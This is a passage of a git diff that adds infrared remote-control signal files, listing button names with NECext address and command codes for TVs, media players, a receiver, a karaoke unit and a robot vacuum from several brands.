04 00 00 00 +command: 67 00 00 00 +# +name: wide +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 77 00 00 00 +# +name: rgb +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: hdmi +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C6 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D6 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir new file mode 100644 index 000000000..c882b5743 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH_DWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL_DWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: COMP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C6 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D6 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir b/assets/resources/infrared/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir new file mode 100644 index 000000000..a3acb4924 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 20 01 00 00 +command: 02 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 20 01 00 00 +command: 03 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 20 01 00 00 +command: 04 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 20 01 00 00 +command: 05 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 20 01 00 00 +command: 06 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 20 01 00 00 +command: 07 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 20 01 00 00 +command: 08 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 20 01 00 00 +command: 0C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir new file mode 100644 index 000000000..9405f82c4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 81 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 82 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 83 00 00 00 +# +name: TitleMenu +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 84 00 00 00 +# +name: KeyLock +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 85 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 86 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 87 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 88 00 00 00 +# +name: Slow/R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 89 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8D 00 00 00 +# +name: Digest +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 90 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 91 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 92 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 93 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 94 00 00 00 +# +name: SkipBackwards +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 95 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 96 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 97 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C0 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C1 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C2 00 00 00 +# +name: X_KEY_3D +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C3 00 00 00 +# +name: AudioMenu +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C4 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C5 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C6 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C7 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C8 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C9 00 00 00 +# +name: SkipForwards +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CA 00 00 00 +# +name: Slow/F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CB 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CC 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CD 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CE 00 00 00 +# +name: AudioMode +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CF 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D0 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D1 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D2 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D3 00 00 00 +# +name: Repeat/A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D4 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D5 00 00 00 +# +name: Bookmark +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D6 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir b/assets/resources/infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir new file mode 100644 index 000000000..b22dbee9b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 00 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 01 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 04 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 05 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 07 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 08 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 09 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 0A 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 0F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 12 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 1A 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 1B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 1E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/WD/Unknown_TV/132,121.ir b/assets/resources/infrared/_CSV-IRDB_/WD/Unknown_TV/132,121.ir new file mode 100644 index 000000000..85053851e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/WD/Unknown_TV/132,121.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 00 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 01 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 04 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 05 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 07 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 08 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 09 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 0A 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 0F 00 00 00 +# +name: KEY_EJECTCLOSECD +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 12 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 1A 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 1B 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 1E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 84 79 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir new file mode 100644 index 000000000..f61562a7d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: DVI +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: ASPECT_RATIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: VGA +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: YPbPr +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: S-Video +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir new file mode 100644 index 000000000..77bcc8bc2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_DOT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: EnterNumPad +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: Backlight +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: Retry +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: DVI +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: YPbPr1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: YPbPr2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: SVideo +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4D 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5B 00 00 00 +# +name: Swap +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: EnterNavigation +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 65 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6A 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6B 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir b/assets/resources/infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir new file mode 100644 index 000000000..85592a781 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 01 00 00 00 +# +name: spiral +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 02 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 03 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 05 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 06 00 00 00 +# +name: auto +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 0E 00 00 00 +# +name: vac +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir new file mode 100644 index 000000000..fac2d5756 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: Balance_Right +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: Coax2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: Mono +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: Night +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: Surround_Mode +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: Balance_Left +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: Test +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: RDS_Display +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_1CH +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: RDS_Title +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: Surr+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: Optical +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 42 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 43 00 00 00 +# +name: Coax1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 45 00 00 00 +# +name: Tuning+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 46 00 00 00 +# +name: Preset +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 47 00 00 00 +# +name: Cen- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: SW- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: Memory +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4A 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4B 00 00 00 +# +name: Tone_Delay_Fine_Control +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4C 00 00 00 +# +name: Function+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: Cen+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4F 00 00 00 +# +name: Tuning- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 50 00 00 00 +# +name: Surr- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 55 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 56 00 00 00 +# +name: Function- +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 57 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5D 00 00 00 +# +name: VCD/TV +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5E 00 00 00 +# +name: SW+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/XORO/Sat/0,191.ir b/assets/resources/infrared/_CSV-IRDB_/XORO/Sat/0,191.ir new file mode 100644 index 000000000..183d91870 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/XORO/Sat/0,191.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: YELLOW +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 00 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 04 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 BF 00 00 +command: 05 00 00 00 +# +name: UP +type: parsed +protocol: 